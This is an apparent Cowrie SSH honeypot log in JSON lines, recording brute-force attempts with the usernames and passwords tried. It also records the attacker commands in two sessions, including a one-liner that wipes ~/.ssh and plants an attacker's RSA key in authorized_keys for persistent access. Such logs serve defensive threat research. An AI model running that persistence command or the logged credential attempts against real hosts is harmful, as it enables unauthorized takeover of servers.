{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":53668,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e915a120258","protocol":"ssh","message":"New connection: 80.94.92.184:53668 (10.17.0.5:22) [session: 2e915a120258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:00:26.211192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:00:26.527873Z","src_ip":"80.94.92.184","session":"2e915a120258","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:00:26.533072Z","src_ip":"80.94.92.184","session":"2e915a120258","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567","message":"login attempt [solv/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:00:27.574044Z","src_ip":"80.94.92.184","session":"2e915a120258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:00:28.952854Z","src_ip":"80.94.92.184","session":"2e915a120258","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.29.34.170","src_port":56554,"dst_ip":"159.203.135.109","dst_port":22,"session":"570e0eb50757","protocol":"ssh","message":"New connection: 196.29.34.170:56554 (159.203.135.109:22) [session: 570e0eb50757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:00:57.158658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:00:57.163213Z","src_ip":"196.29.34.170","session":"570e0eb50757","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:00:57.405166Z","src_ip":"196.29.34.170","session":"570e0eb50757","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"abc.12345","message":"login attempt [root/abc.12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:00:58.402998Z","src_ip":"196.29.34.170","session":"570e0eb50757","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:00:58.913687Z","src_ip":"196.29.34.170","session":"570e0eb50757","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:00:58.916405Z","src_ip":"196.29.34.170","session":"570e0eb50757","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:00:58.919612Z","src_ip":"196.29.34.170","session":"570e0eb50757","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:00:59.162486Z","src_ip":"196.29.34.170","session":"570e0eb50757","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:00:59.720458Z","src_ip":"196.29.34.170","session":"570e0eb50757","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:00:59.723890Z","src_ip":"196.29.34.170","session":"570e0eb50757","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:00:59.968979Z","src_ip":"196.29.34.170","session":"570e0eb50757","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:00:59.971958Z","src_ip":"196.29.34.170","session":"570e0eb50757","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.29.34.170","src_port":57336,"dst_ip":"159.203.135.109","dst_port":22,"session":"936c22a4ccbe","protocol":"ssh","message":"New connection: 196.29.34.170:57336 (159.203.135.109:22) [session: 936c22a4ccbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:00.203439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:00.208312Z","src_ip":"196.29.34.170","session":"936c22a4ccbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:00.447190Z","src_ip":"196.29.34.170","session":"936c22a4ccbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:01.431801Z","src_ip":"196.29.34.170","session":"936c22a4ccbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:02.674132Z","src_ip":"196.29.34.170","session":"936c22a4ccbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.29.34.170","src_port":58240,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfa0c822ac85","protocol":"ssh","message":"New connection: 196.29.34.170:58240 (159.203.135.109:22) [session: cfa0c822ac85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:02.908271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:02.913127Z","src_ip":"196.29.34.170","session":"cfa0c822ac85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:03.151637Z","src_ip":"196.29.34.170","session":"cfa0c822ac85","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:04.135609Z","src_ip":"196.29.34.170","session":"cfa0c822ac85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:04.375581Z","src_ip":"196.29.34.170","session":"570e0eb50757","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:04.379262Z","src_ip":"196.29.34.170","session":"cfa0c822ac85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":38922,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbfe8ca9ebc1","protocol":"ssh","message":"New connection: 2.57.122.208:38922 (159.203.135.109:22) [session: bbfe8ca9ebc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:25.651719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:25.710051Z","src_ip":"2.57.122.208","session":"bbfe8ca9ebc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:25.819739Z","src_ip":"2.57.122.208","session":"bbfe8ca9ebc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:26.637949Z","src_ip":"2.57.122.208","session":"bbfe8ca9ebc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:27.759109Z","src_ip":"2.57.122.208","session":"bbfe8ca9ebc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.123.65.63","src_port":44992,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed80489b90b7","protocol":"ssh","message":"New connection: 223.123.65.63:44992 (10.17.0.5:22) [session: ed80489b90b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:34.370562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:35.009127Z","src_ip":"223.123.65.63","session":"ed80489b90b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:36.303200Z","src_ip":"223.123.65.63","session":"ed80489b90b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"simon","password":"123","message":"login attempt [simon/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:38.399110Z","src_ip":"223.123.65.63","session":"ed80489b90b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:01:39.611650Z","src_ip":"223.123.65.63","session":"ed80489b90b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.29.34.170","src_port":36180,"dst_ip":"159.203.135.109","dst_port":22,"session":"97d86660a8d3","protocol":"ssh","message":"New connection: 196.29.34.170:36180 (159.203.135.109:22) [session: 97d86660a8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:10.706360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:10.710151Z","src_ip":"196.29.34.170","session":"97d86660a8d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:10.948551Z","src_ip":"196.29.34.170","session":"97d86660a8d3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"P@ssw0rd01!","message":"login attempt [root/P@ssw0rd01!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:11.934559Z","src_ip":"196.29.34.170","session":"97d86660a8d3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:12.449007Z","src_ip":"196.29.34.170","session":"97d86660a8d3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:12.452245Z","src_ip":"196.29.34.170","session":"97d86660a8d3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:03:12.456323Z","src_ip":"196.29.34.170","session":"97d86660a8d3","protocol":"ssh"}
